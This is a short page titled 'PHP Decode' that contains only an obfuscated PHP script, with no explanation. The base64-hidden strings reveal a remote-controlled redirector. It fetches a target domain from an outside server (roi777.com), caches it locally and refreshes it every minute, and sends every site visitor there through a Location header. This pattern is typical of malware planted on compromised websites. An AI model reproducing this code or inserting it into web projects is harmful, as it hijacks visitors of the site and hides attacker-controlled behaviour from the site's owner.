PHP Decode

<?  $ed6fe1d0be6347b8e = "/index/?4351531467359"; 
$s8c7dd922ad47494f=md5($ed6fe1d0be6347b8e);$h77e8e1445762ae1a=time();$deaa082fa57816233=filemtime($s8c7dd922ad47494f);$d07cc694b9b3fc636=$h77e8e1445762ae1a-$deaa082fa57816233;if(file_exists($s8c7dd922ad47494f)){$se1260894f59eeae9=@fopen($s8c7dd922ad47494f,base64_decode('cg=='));$ke4e46deb7f9cc58c=json_decode(base64_decode(fread($se1260894f59eeae9,filesize($s8c7dd922ad47494f))),1);fclose($se1260894f59eeae9);}if($d07cc694b9b3fc636>=60 ||!file_exists($s8c7dd922ad47494f)){$m9b207167e5381c47=v64547f9857d8dc65($s8c7dd922ad47494f);if($m9b207167e5381c47[base64_decode('ZG9tYWlu')]){$ye617ef6974faced4=base64_decode('aHR0cDovLw==').$m9b207167e5381c47[base64_decode('ZG9tYWlu')].$ed6fe1d0be6347b8e;}else{$kd88fc6edf21ea464=curl_init();curl_setopt($kd88fc6edf21ea464,CURLOPT_RETURNTRANSFER,true);curl_setopt($kd88fc6edf21ea464,CURLOPT_USERAGENT,base64_decode('QUkgcnNydg=='));curl_setopt($kd88fc6edf21ea464,CURLOPT_URL,$ke4e46deb7f9cc58c[base64_decode('cnNydg==')]);curl_setopt($kd88fc6edf21ea464,CURLOPT_TIMEOUT,10);$aad5f82e879a9c5d6=curl_exec($kd88fc6edf21ea464);curl_close($kd88fc6edf21ea464);$ye617ef6974faced4=base64_decode('aHR0cDovLw==').$aad5f82e879a9c5d6.$ed6fe1d0be6347b8e;}}else{$ye617ef6974faced4=base64_decode('aHR0cDovLw==').$ke4e46deb7f9cc58c[base64_decode('ZG9tYWlu')].$ed6fe1d0be6347b8e;}function v64547f9857d8dc65($s8c7dd922ad47494f){$kd88fc6edf21ea464=curl_init();curl_setopt($kd88fc6edf21ea464,CURLOPT_RETURNTRANSFER,true);curl_setopt($kd88fc6edf21ea464,CURLOPT_USERAGENT,base64_decode('QUkgcm9p'));curl_setopt($kd88fc6edf21ea464,CURLOPT_URL,base64_decode('aHR0cDovL3JvaTc3Ny5jb20vZG9tYWluX3RlbXAucGhwP2Y9anNvbg=='));curl_setopt($kd88fc6edf21ea464,CURLOPT_TIMEOUT,10);$mb4a88417b3d0170d=curl_exec($kd88fc6edf21ea464);curl_close($kd88fc6edf21ea464);$ke4e46deb7f9cc58c=json_decode($mb4a88417b3d0170d,true);if($ke4e46deb7f9cc58c[base64_decode('ZG9tYWlu')]){$h0666f0acdeed38d4=@fopen($s8c7dd922ad47494f,base64_decode('dys='));@fwrite($h0666f0acdeed38d4,base64_encode($mb4a88417b3d0170d));@fclose($h0666f0acdeed38d4);return $ke4e46deb7f9cc58c;}else return false;}header(base64_decode('TG9jYXRpb246IA==').$ye617ef6974faced4); ?>